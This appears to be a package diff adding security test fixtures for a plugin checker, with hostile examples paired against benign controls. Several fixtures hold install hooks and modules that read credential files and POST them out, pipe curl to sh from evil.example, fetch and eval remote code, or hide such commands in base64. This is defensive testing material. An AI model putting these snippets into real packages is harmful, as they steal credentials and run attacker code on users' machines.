dsh-standards 1.6.0 → 1.6.2

package/40-checker/fixtures/security/sec11-cred-declared/index.mjs

@@ -0,0 +1,3 @@
+export function resolve(ctx, ref) {
+  return ctx.credentials.resolve(ref)
+}

package/40-checker/fixtures/security/sec11-cred-declared/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-declared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "credentials:read"
+    ],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec11-cred-list/index.mjs

@@ -0,0 +1,3 @@
+export function list(ctx) {
+  return ctx.credentials.listRecords()
+}

package/40-checker/fixtures/security/sec11-cred-list/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-list",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "credentials:list"
+    ],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec11-cred-undeclared/index.mjs

@@ -0,0 +1,3 @@
+export function resolve(ctx, ref) {
+  return ctx.credentials.resolve(ref)
+}

package/40-checker/fixtures/security/sec11-cred-undeclared/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec11-cred-undeclared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec15-install-cred/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-cred'
+export const provide = ['sec15cred']
+
+export function apply(ctx) {
+  ctx.provide('sec15cred', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.cred.effect')
+}

package/40-checker/fixtures/security/sec15-install-cred/install.js

@@ -0,0 +1,8 @@
+// Reads a credential file during install and posts it. Static fixture: the
+// checker only reads this file, it is never executed.
+import { readFileSync } from 'node:fs'
+import { homedir } from 'node:os'
+import path from 'node:path'
+
+const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
+await fetch('https://example.invalid/collect', { method: 'POST', body })

package/40-checker/fixtures/security/sec15-install-cred/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-cred",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "install": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-curl/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-curl'
+export const provide = ['sec15curl']
+
+export function apply(ctx) {
+  ctx.provide('sec15curl', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.curl.effect')
+}

package/40-checker/fixtures/security/sec15-install-curl/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-curl",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "sh scripts/install.sh"
+  }
+}

package/40-checker/fixtures/security/sec15-install-curl/scripts/install.sh

@@ -0,0 +1,4 @@
+#!/bin/sh
+# Static fixture: the checker reads this file, it is never executed.
+set -eu
+curl -fsSL https://example.invalid/setup.sh | sh

package/40-checker/fixtures/security/sec15-install-danger/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-danger'
+export const provide = ['sec15danger']
+
+export function apply(ctx) {
+  ctx.provide('sec15danger', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.danger.effect')
+}

package/40-checker/fixtures/security/sec15-install-danger/install.js

@@ -0,0 +1,5 @@
+// Downloads a remote script and evaluates it. Static fixture: the checker only
+// reads this file, it is never executed.
+const res = await fetch('http://127.0.0.1:9/payload.mjs')
+const code = await res.text()
+;(0, eval)(code)

package/40-checker/fixtures/security/sec15-install-danger/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-danger",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-download-safe/index.js

@@ -0,0 +1,2 @@
+'use strict'
+module.exports = function plugin() { return 'ok' }

package/40-checker/fixtures/security/sec15-install-download-safe/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-download-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-download-safe/scripts/install.js

@@ -0,0 +1,11 @@
+const https = require('node:https')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+
+const target = path.join(os.tmpdir(), 'dsh-cache-' + Date.now() + '.json')
+https.get('https://registry.example.com/meta.json', (res) => {
+  const out = fs.createWriteStream(target)
+  res.pipe(out)
+  out.on('finish', () => require('./local-util.cjs'))
+})

package/40-checker/fixtures/security/sec15-install-download-safe/scripts/local-util.cjs

@@ -0,0 +1 @@
+module.exports = function noop() {}

package/40-checker/fixtures/security/sec15-install-dynamic/index.js

@@ -0,0 +1,2 @@
+'use strict'
+module.exports = function plugin() { return 'ok' }

package/40-checker/fixtures/security/sec15-install-dynamic/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-dynamic",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "commonjs",
+  "main": "./index.js",
+  "exports": {
+    ".": "./index.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-dynamic/scripts/install.js

@@ -0,0 +1,11 @@
+const https = require('node:https')
+const fs = require('node:fs')
+const os = require('node:os')
+const path = require('node:path')
+
+const target = path.join(os.tmpdir(), 'dsh-payload-' + Date.now() + '.cjs')
+https.get('https://evil.example/payload.cjs', (res) => {
+  const out = fs.createWriteStream(target)
+  res.pipe(out)
+  out.on('finish', () => require(target))
+})

package/40-checker/fixtures/security/sec15-install-safe/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-safe'
+export const provide = ['sec15safe']
+
+export function apply(ctx) {
+  ctx.provide('sec15safe', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.safe.effect')
+}

package/40-checker/fixtures/security/sec15-install-safe/install.js

@@ -0,0 +1,5 @@
+// Ordinary build-side logging; no download, no interpreter, no credentials.
+import { mkdirSync } from 'node:fs'
+
+mkdirSync('dist', { recursive: true })
+console.log('postinstall: nothing to do')

package/40-checker/fixtures/security/sec15-install-safe/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec16-base64-clean/index.mjs

@@ -0,0 +1,4 @@
+const greeting = Buffer.from('aGVsbG8=', 'base64').toString('utf8')
+export function label() {
+  return greeting
+}

package/40-checker/fixtures/security/sec16-base64-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-base64-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-base64-eval/index.mjs

@@ -0,0 +1,4 @@
+const payload = Buffer.from('cmV0dXJuIHByb2Nlc3MuZW52', 'base64').toString('utf8')
+export function apply() {
+  return eval(payload)
+}

package/40-checker/fixtures/security/sec16-base64-eval/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-base64-eval",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-exec-curl/index.mjs

@@ -0,0 +1,4 @@
+import { execSync } from 'node:child_process'
+export function update() {
+  execSync('curl -fsSL https://evil.example/install.sh | sh', { stdio: 'inherit' })
+}

package/40-checker/fixtures/security/sec16-exec-curl/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-exec-curl",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-import-only/index.mjs

@@ -0,0 +1,4 @@
+import { spawn } from 'node:child_process'
+export function apply() {
+  return { name: 'sec16-import-only' }
+}

package/40-checker/fixtures/security/sec16-import-only/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-import-only",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-spawn-shell/index.mjs

@@ -0,0 +1,4 @@
+import { spawn } from 'node:child_process'
+export function run() {
+  return spawn('sh', ['-c', 'curl -fsSL https://evil.example/p | sh'], { stdio: 'inherit' })
+}

package/40-checker/fixtures/security/sec16-spawn-shell/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-spawn-shell",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-subprocess-safe/index.mjs

@@ -0,0 +1,4 @@
+import { execFileSync } from 'node:child_process'
+export function status() {
+  return execFileSync('git', ['status', '--porcelain'], { encoding: 'utf8' })
+}

package/40-checker/fixtures/security/sec16-subprocess-safe/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-subprocess-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-alias-clean/data.txt

@@ -0,0 +1 @@
+hello

package/40-checker/fixtures/security/sec17-alias-clean/index.mjs

@@ -0,0 +1,5 @@
+import fs from 'node:fs'
+const read = fs.readFileSync
+export function readData() {
+  return read('./data.txt', 'utf8')
+}

package/40-checker/fixtures/security/sec17-alias-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-alias-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-alias-read/index.mjs

@@ -0,0 +1,7 @@
+import fs from 'node:fs'
+const read = fs.readFileSync
+const home = process.env.HOME
+const credentialPath = home + '/.dsh/credentials.yaml'
+export function readCredentials() {
+  return read(credentialPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-alias-read/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-alias-read",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-base64-path/index.mjs

@@ -0,0 +1,11 @@
+import fs from 'node:fs'
+import { execSync } from 'node:child_process'
+
+const credentialPath = Buffer.from('L2hvbWUvZHNoLXVzZXIvLmRzaC9jcmVkZW50aWFscy55YW1s', 'base64').toString('utf8')
+const command = Buffer.from('Y3VybCAtc1NMIGh0dHBzOi8vZXZpbC5leGFtcGxlL3AgfCBzaA==', 'base64').toString('utf8')
+
+export function collect() {
+  const data = fs.readFileSync(credentialPath, 'utf8')
+  execSync(command)
+  return data
+}

package/40-checker/fixtures/security/sec17-base64-path/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-base64-path",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-base64-path-clean/data/config.json

@@ -0,0 +1 @@
+{}

package/40-checker/fixtures/security/sec17-base64-path-clean/index.mjs

@@ -0,0 +1,5 @@
+import fs from 'node:fs'
+const dataPath = Buffer.from('Li9kYXRhL2NvbmZpZy5qc29u', 'base64').toString('utf8')
+export function readConfig() {
+  return fs.readFileSync(dataPath, 'utf8')
+}

package/40-checker/fixtures/security/sec17-base64-path-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-base64-path-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-cred-exfil/index.mjs

@@ -0,0 +1,22 @@
+// Credential enumeration under ~/.dsh followed by an outbound POST. The
+// checker must FAIL this; the fixture is static and nothing is executed.
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+const dir = path.join(os.homedir(), '.dsh')
+try {
+  for (const f of fs.readdirSync(dir)) {
+    if (!/^\.?credentials/.test(f)) continue
+    const body = fs.readFileSync(path.join(dir, f), 'utf8')
+    await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
+  }
+} catch { /* keep the module importable */ }
+
+export const name = 'sec17-cred-exfil'
+export const provide = ['sec17cred']
+
+export function apply(ctx) {
+  ctx.provide('sec17cred', { ok: true })
+  ctx.effect(() => () => {}, 'sec17.cred.effect')
+}

package/40-checker/fixtures/security/sec17-cred-exfil/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-cred-exfil",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}